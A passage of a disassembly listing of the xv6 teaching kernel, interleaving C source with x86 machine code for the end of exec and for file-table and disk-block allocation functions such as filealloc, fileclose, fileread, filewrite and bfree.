-0xa8(%ebp),%edx for(argc = 0; argv[argc]; argc++) { 80100c93: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c96: 85 c0 test %eax,%eax 80100c98: 74 59 je 80100cf3 <exec+0x273> if(argc >= MAXARG) 80100c9a: 83 ff 20 cmp $0x20,%edi 80100c9d: 74 39 je 80100cd8 <exec+0x258> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c9f: 83 ec 0c sub $0xc,%esp 80100ca2: 50 push %eax 80100ca3: e8 a8 41 00 00 call 80104e50 <strlen> 80100ca8: f7 d0 not %eax 80100caa: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100cac: 58 pop %eax 80100cad: 8b 45 0c mov 0xc(%ebp),%eax sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100cb0: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100cb3: ff 34 b8 pushl (%eax,%edi,4) 80100cb6: e8 95 41 00 00 call 80104e50 <strlen> 80100cbb: 83 c0 01 add $0x1,%eax 80100cbe: 50 push %eax 80100cbf: 8b 45 0c mov 0xc(%ebp),%eax 80100cc2: ff 34 b8 pushl (%eax,%edi,4) 80100cc5: 53 push %ebx 80100cc6: 56 push %esi 80100cc7: e8 74 6a 00 00 call 80107740 <copyout> 80100ccc: 83 c4 20 add $0x20,%esp 80100ccf: 85 c0 test %eax,%eax 80100cd1: 79 ad jns 80100c80 <exec+0x200> 80100cd3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100cd7: 90 nop freevm(pgdir); 80100cd8: 83 ec 0c sub $0xc,%esp 80100cdb: ff b5 f4 fe ff ff pushl -0x10c(%ebp) 80100ce1: e8 da 67 00 00 call 801074c0 <freevm> 80100ce6: 83 c4 10 add $0x10,%esp return -1; 80100ce9: b8 ff ff ff ff mov $0xffffffff,%eax 80100cee: e9 fd fd ff ff jmp 80100af0 <exec+0x70> 80100cf3: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi ustack[2] = sp - (argc+1)*4; // argv pointer 80100cf9: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100d00: 89 d9 mov %ebx,%ecx ustack[3+argc] = 0; 80100d02: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100d09: 00 00 00 00 ustack[2] = sp - (argc+1)*4; // argv pointer 80100d0d: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100d0f: 83 c0 0c add $0xc,%eax ustack[1] = argc; 80100d12: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) sp -= (3+argc+1) * 4; 80100d18: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100d1a: 50 push %eax 80100d1b: 52 push %edx 80100d1c: 53 push %ebx 80100d1d: ff b5 f4 fe ff ff pushl -0x10c(%ebp) ustack[0] = 0xffffffff; // fake return PC 80100d23: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100d2a: ff ff ff ustack[2] = sp - (argc+1)*4; // argv pointer 80100d2d: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100d33: e8 08 6a 00 00 call 80107740 <copyout> 80100d38: 83 c4 10 add $0x10,%esp 80100d3b: 85 c0 test %eax,%eax 80100d3d: 78 99 js 80100cd8 <exec+0x258> for(last=s=path; *s; s++) 80100d3f: 8b 45 08 mov 0x8(%ebp),%eax 80100d42: 8b 55 08 mov 0x8(%ebp),%edx 80100d45: 0f b6 00 movzbl (%eax),%eax 80100d48: 84 c0 test %al,%al 80100d4a: 74 13 je 80100d5f <exec+0x2df> 80100d4c: 89 d1 mov %edx,%ecx 80100d4e: 66 90 xchg %ax,%ax if(*s == '/') 80100d50: 83 c1 01 add $0x1,%ecx 80100d53: 3c 2f cmp $0x2f,%al for(last=s=path; *s; s++) 80100d55: 0f b6 01 movzbl (%ecx),%eax if(*s == '/') 80100d58: 0f 44 d1 cmove %ecx,%edx for(last=s=path; *s; s++) 80100d5b: 84 c0 test %al,%al 80100d5d: 75 f1 jne 80100d50 <exec+0x2d0> safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100d5f: 8b bd ec fe ff ff mov -0x114(%ebp),%edi 80100d65: 83 ec 04 sub $0x4,%esp 80100d68: 6a 10 push $0x10 80100d6a: 89 f8 mov %edi,%eax 80100d6c: 52 push %edx 80100d6d: 83 c0 6c add $0x6c,%eax 80100d70: 50 push %eax 80100d71: e8 9a 40 00 00 call 80104e10 <safestrcpy> curproc->pgdir = pgdir; 80100d76: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx oldpgdir = curproc->pgdir; 80100d7c: 89 f8 mov %edi,%eax 80100d7e: 8b 7f 04 mov 0x4(%edi),%edi curproc->sz = sz; 80100d81: 89 30 mov %esi,(%eax) curproc->pgdir = pgdir; 80100d83: 89 48 04 mov %ecx,0x4(%eax) curproc->tf->eip = elf.entry; // main 80100d86: 89 c1 mov %eax,%ecx 80100d88: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d8e: 8b 40 18 mov 0x18(%eax),%eax 80100d91: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d94: 8b 41 18 mov 0x18(%ecx),%eax 80100d97: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d9a: 89 0c 24 mov %ecx,(%esp) 80100d9d: e8 5e 63 00 00 call 80107100 <switchuvm> freevm(oldpgdir); 80100da2: 89 3c 24 mov %edi,(%esp) 80100da5: e8 16 67 00 00 call 801074c0 <freevm> return 0; 80100daa: 83 c4 10 add $0x10,%esp 80100dad: 31 c0 xor %eax,%eax 80100daf: e9 3c fd ff ff jmp 80100af0 <exec+0x70> end_op(); 80100db4: e8 e7 1f 00 00 call 80102da0 <end_op> cprintf("exec: fail\n"); 80100db9: 83 ec 0c sub $0xc,%esp 80100dbc: 68 61 78 10 80 push $0x80107861 80100dc1: e8 ea f8 ff ff call 801006b0 <cprintf> return -1; 80100dc6: 83 c4 10 add $0x10,%esp 80100dc9: b8 ff ff ff ff mov $0xffffffff,%eax 80100dce: e9 1d fd ff ff jmp 80100af0 <exec+0x70> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100dd3: 31 ff xor %edi,%edi 80100dd5: be 00 20 00 00 mov $0x2000,%esi 80100dda: e9 39 fe ff ff jmp 80100c18 <exec+0x198> 80100ddf: 90 nop 80100de0 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100de0: f3 0f 1e fb endbr32 80100de4: 55 push %ebp 80100de5: 89 e5 mov %esp,%ebp 80100de7: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100dea: 68 6d 78 10 80 push $0x8010786d 80100def: 68 c0 0f 11 80 push $0x80110fc0 80100df4: e8 c7 3b 00 00 call 801049c0 <initlock> } 80100df9: 83 c4 10 add $0x10,%esp 80100dfc: c9 leave 80100dfd: c3 ret 80100dfe: 66 90 xchg %ax,%ax 80100e00 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100e00: f3 0f 1e fb endbr32 80100e04: 55 push %ebp 80100e05: 89 e5 mov %esp,%ebp 80100e07: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100e08: bb f4 0f 11 80 mov $0x80110ff4,%ebx { 80100e0d: 83 ec 10 sub $0x10,%esp acquire(&ftable.lock); 80100e10: 68 c0 0f 11 80 push $0x80110fc0 80100e15: e8 26 3d 00 00 call 80104b40 <acquire> 80100e1a: 83 c4 10 add $0x10,%esp 80100e1d: eb 0c jmp 80100e2b <filealloc+0x2b> 80100e1f: 90 nop for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100e20: 83 c3 18 add $0x18,%ebx 80100e23: 81 fb 54 19 11 80 cmp $0x80111954,%ebx 80100e29: 74 25 je 80100e50 <filealloc+0x50> if(f->ref == 0){ 80100e2b: 8b 43 04 mov 0x4(%ebx),%eax 80100e2e: 85 c0 test %eax,%eax 80100e30: 75 ee jne 80100e20 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100e32: 83 ec 0c sub $0xc,%esp f->ref = 1; 80100e35: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100e3c: 68 c0 0f 11 80 push $0x80110fc0 80100e41: e8 ba 3d 00 00 call 80104c00 <release> return f; } } release(&ftable.lock); return 0; } 80100e46: 89 d8 mov %ebx,%eax return f; 80100e48: 83 c4 10 add $0x10,%esp } 80100e4b: 8b 5d fc mov -0x4(%ebp),%ebx 80100e4e: c9 leave 80100e4f: c3 ret release(&ftable.lock); 80100e50: 83 ec 0c sub $0xc,%esp return 0; 80100e53: 31 db xor %ebx,%ebx release(&ftable.lock); 80100e55: 68 c0 0f 11 80 push $0x80110fc0 80100e5a: e8 a1 3d 00 00 call 80104c00 <release> } 80100e5f: 89 d8 mov %ebx,%eax return 0; 80100e61: 83 c4 10 add $0x10,%esp } 80100e64: 8b 5d fc mov -0x4(%ebp),%ebx 80100e67: c9 leave 80100e68: c3 ret 80100e69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100e70 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100e70: f3 0f 1e fb endbr32 80100e74: 55 push %ebp 80100e75: 89 e5 mov %esp,%ebp 80100e77: 53 push %ebx 80100e78: 83 ec 10 sub $0x10,%esp 80100e7b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100e7e: 68 c0 0f 11 80 push $0x80110fc0 80100e83: e8 b8 3c 00 00 call 80104b40 <acquire> if(f->ref < 1) 80100e88: 8b 43 04 mov 0x4(%ebx),%eax 80100e8b: 83 c4 10 add $0x10,%esp 80100e8e: 85 c0 test %eax,%eax 80100e90: 7e 1a jle 80100eac <filedup+0x3c> panic("filedup"); f->ref++; 80100e92: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e95: 83 ec 0c sub $0xc,%esp f->ref++; 80100e98: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e9b: 68 c0 0f 11 80 push $0x80110fc0 80100ea0: e8 5b 3d 00 00 call 80104c00 <release> return f; } 80100ea5: 89 d8 mov %ebx,%eax 80100ea7: 8b 5d fc mov -0x4(%ebp),%ebx 80100eaa: c9 leave 80100eab: c3 ret panic("filedup"); 80100eac: 83 ec 0c sub $0xc,%esp 80100eaf: 68 74 78 10 80 push $0x80107874 80100eb4: e8 d7 f4 ff ff call 80100390 <panic> 80100eb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ec0 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100ec0: f3 0f 1e fb endbr32 80100ec4: 55 push %ebp 80100ec5: 89 e5 mov %esp,%ebp 80100ec7: 57 push %edi 80100ec8: 56 push %esi 80100ec9: 53 push %ebx 80100eca: 83 ec 28 sub $0x28,%esp 80100ecd: 8b 5d 08 mov 0x8(%ebp),%ebx struct file ff; acquire(&ftable.lock); 80100ed0: 68 c0 0f 11 80 push $0x80110fc0 80100ed5: e8 66 3c 00 00 call 80104b40 <acquire> if(f->ref < 1) 80100eda: 8b 53 04 mov 0x4(%ebx),%edx 80100edd: 83 c4 10 add $0x10,%esp 80100ee0: 85 d2 test %edx,%edx 80100ee2: 0f 8e a1 00 00 00 jle 80100f89 <fileclose+0xc9> panic("fileclose"); if(--f->ref > 0){ 80100ee8: 83 ea 01 sub $0x1,%edx 80100eeb: 89 53 04 mov %edx,0x4(%ebx) 80100eee: 75 40 jne 80100f30 <fileclose+0x70> release(&ftable.lock); return; } ff = *f; 80100ef0: 0f b6 43 09 movzbl 0x9(%ebx),%eax f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100ef4: 83 ec 0c sub $0xc,%esp ff = *f; 80100ef7: 8b 3b mov (%ebx),%edi f->type = FD_NONE; 80100ef9: c7 03 00 00 00 00 movl $0x0,(%ebx) ff = *f; 80100eff: 8b 73 0c mov 0xc(%ebx),%esi 80100f02: 88 45 e7 mov %al,-0x19(%ebp) 80100f05: 8b 43 10 mov 0x10(%ebx),%eax release(&ftable.lock); 80100f08: 68 c0 0f 11 80 push $0x80110fc0 ff = *f; 80100f0d: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100f10: e8 eb 3c 00 00 call 80104c00 <release> if(ff.type == FD_PIPE) 80100f15: 83 c4 10 add $0x10,%esp 80100f18: 83 ff 01 cmp $0x1,%edi 80100f1b: 74 53 je 80100f70 <fileclose+0xb0> pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ 80100f1d: 83 ff 02 cmp $0x2,%edi 80100f20: 74 26 je 80100f48 <fileclose+0x88> begin_op(); iput(ff.ip); end_op(); } } 80100f22: 8d 65 f4 lea -0xc(%ebp),%esp 80100f25: 5b pop %ebx 80100f26: 5e pop %esi 80100f27: 5f pop %edi 80100f28: 5d pop %ebp 80100f29: c3 ret 80100f2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&ftable.lock); 80100f30: c7 45 08 c0 0f 11 80 movl $0x80110fc0,0x8(%ebp) } 80100f37: 8d 65 f4 lea -0xc(%ebp),%esp 80100f3a: 5b pop %ebx 80100f3b: 5e pop %esi 80100f3c: 5f pop %edi 80100f3d: 5d pop %ebp release(&ftable.lock); 80100f3e: e9 bd 3c 00 00 jmp 80104c00 <release> 80100f43: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f47: 90 nop begin_op(); 80100f48: e8 e3 1d 00 00 call 80102d30 <begin_op> iput(ff.ip); 80100f4d: 83 ec 0c sub $0xc,%esp 80100f50: ff 75 e0 pushl -0x20(%ebp) 80100f53: e8 38 09 00 00 call 80101890 <iput> end_op(); 80100f58: 83 c4 10 add $0x10,%esp } 80100f5b: 8d 65 f4 lea -0xc(%ebp),%esp 80100f5e: 5b pop %ebx 80100f5f: 5e pop %esi 80100f60: 5f pop %edi 80100f61: 5d pop %ebp end_op(); 80100f62: e9 39 1e 00 00 jmp 80102da0 <end_op> 80100f67: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100f6e: 66 90 xchg %ax,%ax pipeclose(ff.pipe, ff.writable); 80100f70: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100f74: 83 ec 08 sub $0x8,%esp 80100f77: 53 push %ebx 80100f78: 56 push %esi 80100f79: e8 82 25 00 00 call 80103500 <pipeclose> 80100f7e: 83 c4 10 add $0x10,%esp } 80100f81: 8d 65 f4 lea -0xc(%ebp),%esp 80100f84: 5b pop %ebx 80100f85: 5e pop %esi 80100f86: 5f pop %edi 80100f87: 5d pop %ebp 80100f88: c3 ret panic("fileclose"); 80100f89: 83 ec 0c sub $0xc,%esp 80100f8c: 68 7c 78 10 80 push $0x8010787c 80100f91: e8 fa f3 ff ff call 80100390 <panic> 80100f96: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100f9d: 8d 76 00 lea 0x0(%esi),%esi 80100fa0 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100fa0: f3 0f 1e fb endbr32 80100fa4: 55 push %ebp 80100fa5: 89 e5 mov %esp,%ebp 80100fa7: 53 push %ebx 80100fa8: 83 ec 04 sub $0x4,%esp 80100fab: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100fae: 83 3b 02 cmpl $0x2,(%ebx) 80100fb1: 75 2d jne 80100fe0 <filestat+0x40> ilock(f->ip); 80100fb3: 83 ec 0c sub $0xc,%esp 80100fb6: ff 73 10 pushl 0x10(%ebx) 80100fb9: e8 a2 07 00 00 call 80101760 <ilock> stati(f->ip, st); 80100fbe: 58 pop %eax 80100fbf: 5a pop %edx 80100fc0: ff 75 0c pushl 0xc(%ebp) 80100fc3: ff 73 10 pushl 0x10(%ebx) 80100fc6: e8 65 0a 00 00 call 80101a30 <stati> iunlock(f->ip); 80100fcb: 59 pop %ecx 80100fcc: ff 73 10 pushl 0x10(%ebx) 80100fcf: e8 6c 08 00 00 call 80101840 <iunlock> return 0; } return -1; } 80100fd4: 8b 5d fc mov -0x4(%ebp),%ebx return 0; 80100fd7: 83 c4 10 add $0x10,%esp 80100fda: 31 c0 xor %eax,%eax } 80100fdc: c9 leave 80100fdd: c3 ret 80100fde: 66 90 xchg %ax,%ax 80100fe0: 8b 5d fc mov -0x4(%ebp),%ebx return -1; 80100fe3: b8 ff ff ff ff mov $0xffffffff,%eax } 80100fe8: c9 leave 80100fe9: c3 ret 80100fea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100ff0 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100ff0: f3 0f 1e fb endbr32 80100ff4: 55 push %ebp 80100ff5: 89 e5 mov %esp,%ebp 80100ff7: 57 push %edi 80100ff8: 56 push %esi 80100ff9: 53 push %ebx 80100ffa: 83 ec 0c sub $0xc,%esp 80100ffd: 8b 5d 08 mov 0x8(%ebp),%ebx 80101000: 8b 75 0c mov 0xc(%ebp),%esi 80101003: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80101006: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 8010100a: 74 64 je 80101070 <fileread+0x80> return -1; if(f->type == FD_PIPE) 8010100c: 8b 03 mov (%ebx),%eax 8010100e: 83 f8 01 cmp $0x1,%eax 80101011: 74 45 je 80101058 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80101013: 83 f8 02 cmp $0x2,%eax 80101016: 75 5f jne 80101077 <fileread+0x87> ilock(f->ip); 80101018: 83 ec 0c sub $0xc,%esp 8010101b: ff 73 10 pushl 0x10(%ebx) 8010101e: e8 3d 07 00 00 call 80101760 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80101023: 57 push %edi 80101024: ff 73 14 pushl 0x14(%ebx) 80101027: 56 push %esi 80101028: ff 73 10 pushl 0x10(%ebx) 8010102b: e8 30 0a 00 00 call 80101a60 <readi> 80101030: 83 c4 20 add $0x20,%esp 80101033: 89 c6 mov %eax,%esi 80101035: 85 c0 test %eax,%eax 80101037: 7e 03 jle 8010103c <fileread+0x4c> f->off += r; 80101039: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 8010103c: 83 ec 0c sub $0xc,%esp 8010103f: ff 73 10 pushl 0x10(%ebx) 80101042: e8 f9 07 00 00 call 80101840 <iunlock> return r; 80101047: 83 c4 10 add $0x10,%esp } panic("fileread"); } 8010104a: 8d 65 f4 lea -0xc(%ebp),%esp 8010104d: 89 f0 mov %esi,%eax 8010104f: 5b pop %ebx 80101050: 5e pop %esi 80101051: 5f pop %edi 80101052: 5d pop %ebp 80101053: c3 ret 80101054: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return piperead(f->pipe, addr, n); 80101058: 8b 43 0c mov 0xc(%ebx),%eax 8010105b: 89 45 08 mov %eax,0x8(%ebp) } 8010105e: 8d 65 f4 lea -0xc(%ebp),%esp 80101061: 5b pop %ebx 80101062: 5e pop %esi 80101063: 5f pop %edi 80101064: 5d pop %ebp return piperead(f->pipe, addr, n); 80101065: e9 36 26 00 00 jmp 801036a0 <piperead> 8010106a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80101070: be ff ff ff ff mov $0xffffffff,%esi 80101075: eb d3 jmp 8010104a <fileread+0x5a> panic("fileread"); 80101077: 83 ec 0c sub $0xc,%esp 8010107a: 68 86 78 10 80 push $0x80107886 8010107f: e8 0c f3 ff ff call 80100390 <panic> 80101084: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010108b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010108f: 90 nop 80101090 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80101090: f3 0f 1e fb endbr32 80101094: 55 push %ebp 80101095: 89 e5 mov %esp,%ebp 80101097: 57 push %edi 80101098: 56 push %esi 80101099: 53 push %ebx 8010109a: 83 ec 1c sub $0x1c,%esp 8010109d: 8b 45 0c mov 0xc(%ebp),%eax 801010a0: 8b 75 08 mov 0x8(%ebp),%esi 801010a3: 89 45 dc mov %eax,-0x24(%ebp) 801010a6: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 801010a9: 80 7e 09 00 cmpb $0x0,0x9(%esi) { 801010ad: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 801010b0: 0f 84 c1 00 00 00 je 80101177 <filewrite+0xe7> return -1; if(f->type == FD_PIPE) 801010b6: 8b 06 mov (%esi),%eax 801010b8: 83 f8 01 cmp $0x1,%eax 801010bb: 0f 84 c3 00 00 00 je 80101184 <filewrite+0xf4> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 801010c1: 83 f8 02 cmp $0x2,%eax 801010c4: 0f 85 cc 00 00 00 jne 80101196 <filewrite+0x106> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 801010ca: 8b 45 e4 mov -0x1c(%ebp),%eax int i = 0; 801010cd: 31 ff xor %edi,%edi while(i < n){ 801010cf: 85 c0 test %eax,%eax 801010d1: 7f 34 jg 80101107 <filewrite+0x77> 801010d3: e9 98 00 00 00 jmp 80101170 <filewrite+0xe0> 801010d8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801010df: 90 nop n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 801010e0: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 801010e3: 83 ec 0c sub $0xc,%esp 801010e6: ff 76 10 pushl 0x10(%esi) f->off += r; 801010e9: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 801010ec: e8 4f 07 00 00 call 80101840 <iunlock> end_op(); 801010f1: e8 aa 1c 00 00 call 80102da0 <end_op> if(r < 0) break; if(r != n1) 801010f6: 8b 45 e0 mov -0x20(%ebp),%eax 801010f9: 83 c4 10 add $0x10,%esp 801010fc: 39 c3 cmp %eax,%ebx 801010fe: 75 60 jne 80101160 <filewrite+0xd0> panic("short filewrite"); i += r; 80101100: 01 df add %ebx,%edi while(i < n){ 80101102: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101105: 7e 69 jle 80101170 <filewrite+0xe0> int n1 = n - i; 80101107: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010110a: b8 00 06 00 00 mov $0x600,%eax 8010110f: 29 fb sub %edi,%ebx if(n1 > max) 80101111: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101117: 0f 4f d8 cmovg %eax,%ebx begin_op(); 8010111a: e8 11 1c 00 00 call 80102d30 <begin_op> ilock(f->ip); 8010111f: 83 ec 0c sub $0xc,%esp 80101122: ff 76 10 pushl 0x10(%esi) 80101125: e8 36 06 00 00 call 80101760 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 8010112a: 8b 45 dc mov -0x24(%ebp),%eax 8010112d: 53 push %ebx 8010112e: ff 76 14 pushl 0x14(%esi) 80101131: 01 f8 add %edi,%eax 80101133: 50 push %eax 80101134: ff 76 10 pushl 0x10(%esi) 80101137: e8 24 0a 00 00 call 80101b60 <writei> 8010113c: 83 c4 20 add $0x20,%esp 8010113f: 85 c0 test %eax,%eax 80101141: 7f 9d jg 801010e0 <filewrite+0x50> iunlock(f->ip); 80101143: 83 ec 0c sub $0xc,%esp 80101146: ff 76 10 pushl 0x10(%esi) 80101149: 89 45 e4 mov %eax,-0x1c(%ebp) 8010114c: e8 ef 06 00 00 call 80101840 <iunlock> end_op(); 80101151: e8 4a 1c 00 00 call 80102da0 <end_op> if(r < 0) 80101156: 8b 45 e4 mov -0x1c(%ebp),%eax 80101159: 83 c4 10 add $0x10,%esp 8010115c: 85 c0 test %eax,%eax 8010115e: 75 17 jne 80101177 <filewrite+0xe7> panic("short filewrite"); 80101160: 83 ec 0c sub $0xc,%esp 80101163: 68 8f 78 10 80 push $0x8010788f 80101168: e8 23 f2 ff ff call 80100390 <panic> 8010116d: 8d 76 00 lea 0x0(%esi),%esi } return i == n ? n : -1; 80101170: 89 f8 mov %edi,%eax 80101172: 3b 7d e4 cmp -0x1c(%ebp),%edi 80101175: 74 05 je 8010117c <filewrite+0xec> 80101177: b8 ff ff ff ff mov $0xffffffff,%eax } panic("filewrite"); } 8010117c: 8d 65 f4 lea -0xc(%ebp),%esp 8010117f: 5b pop %ebx 80101180: 5e pop %esi 80101181: 5f pop %edi 80101182: 5d pop %ebp 80101183: c3 ret return pipewrite(f->pipe, addr, n); 80101184: 8b 46 0c mov 0xc(%esi),%eax 80101187: 89 45 08 mov %eax,0x8(%ebp) } 8010118a: 8d 65 f4 lea -0xc(%ebp),%esp 8010118d: 5b pop %ebx 8010118e: 5e pop %esi 8010118f: 5f pop %edi 80101190: 5d pop %ebp return pipewrite(f->pipe, addr, n); 80101191: e9 0a 24 00 00 jmp 801035a0 <pipewrite> panic("filewrite"); 80101196: 83 ec 0c sub $0xc,%esp 80101199: 68 95 78 10 80 push $0x80107895 8010119e: e8 ed f1 ff ff call 80100390 <panic> 801011a3: 66 90 xchg %ax,%ax 801011a5: 66 90 xchg %ax,%ax 801011a7: 66 90 xchg %ax,%ax 801011a9: 66 90 xchg %ax,%ax 801011ab: 66 90 xchg %ax,%ax 801011ad: 66 90 xchg %ax,%ax 801011af: 90 nop 801011b0 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 801011b0: 55 push %ebp 801011b1: 89 c1 mov %eax,%ecx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 801011b3: 89 d0 mov %edx,%eax 801011b5: c1 e8 0c shr $0xc,%eax 801011b8: 03 05 d8 19 11 80 add 0x801119d8,%eax { 801011be: 89 e5 mov %esp,%ebp 801011c0: 56 push %esi 801011c1: 53 push %ebx 801011c2: 89 d3 mov %edx,%ebx bp = bread(dev, BBLOCK(b, sb)); 801011c4: 83 ec 08 sub $0x8,%esp 801011c7: 50 push %eax 801011c8: 51 push %ecx 801011c9: e8 02 ef ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 801011ce: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 801011d0: c1 fb 03 sar $0x3,%ebx m = 1 << (bi % 8); 801011d3: ba 01 00 00 00 mov $0x1,%edx 801011d8: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 801011db: 81 e3 ff 01 00 00 and $0x1ff,%ebx 801011e1: 83 c4 10 add $0x10,%esp m = 1 << (bi % 8); 801011e4: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 801011e6: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 801011eb: 85 d1 test %edx,%ecx 801011ed: 74 25 je 80101214 <bfree+0x64> panic("freeing free block"); bp->data[bi/8] &= ~m; 801011ef: f7 d2 not %edx log_write(bp); 801011f1: 83 ec 0c sub $0xc,%esp 801011f4: 89 c6 mov %eax,%esi bp->data[bi/8] &= ~m; 801011f6: 21 ca and %ecx,%edx 801011f8: 88 54 18 5c mov %dl,0x5c(%eax,%ebx,1) log_write(bp); 801011fc: 50 push %eax 801011fd: e8 0e 1d 00 00 call 80102f10 <log_write> brelse(bp); 80101202: 89 34 24 mov %esi,(%esp) 80101205: e8 e6 ef ff ff call 801001f0 <brelse> } 8010120a: 83 c4 10 add $0x10,%esp 8010120d: 8d 65 f8 lea -0x8(%ebp),%esp 80101210: 5b pop %ebx 80101211: 5e pop %esi 80101212: 5d pop %ebp 80101213: c3 ret panic("freeing free block"); 80101214: 83 ec 0c sub $0xc,%esp 80101217: 68 9f 78 10 80 push $0x8010789f 8010121c: e8 6f f1 ff ff call 80100390 <panic> 80101221: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101228: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010122f: 90 nop 80101230 <balloc>: { 80101230: 55 push %ebp 80101231: 89 e5 mov %esp,%ebp 80101233: 57 push %edi 80101234: 56 push %esi 80101235: 53 push %ebx 80101236: 83 ec 1c sub $0x1c,%esp for(b = 0; b < sb.size; b += BPB){ 80101239: 8b 0d c0 19 11 80 mov 0x801119c0,%ecx { 8010123f: 89 45 d8 mov %eax,-0x28(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101242: 85 c9 test %ecx,%ecx 80101244: 0f 84 87 00 00 00 je 801012d1 <balloc+0xa1> 8010124a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101251: 8b 75 dc mov -0x24(%ebp),%esi 80101254: 83 ec 08 sub $0x8,%esp 80101257: 89 f0 mov %esi,%eax 80101259: c1 f8 0c sar $0xc,%eax 8010125c: 03 05 d8 19 11 80 add 0x801119d8,%eax 80101262: 50 push %eax 80101263: ff 75 d8 pushl -0x28(%ebp) 80101266: e8 65 ee ff ff call 801000d0 <bread> 8010126b: 83 c4 10 add $0x10,%esp 8010126e: 89 45 e4 mov %eax,-0x1c(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101271: a1 c0 19 11 80 mov 0x801119c0,%eax 80101276: 89 45 e0 mov %eax,-0x20(%ebp) 80101279: 31 c0 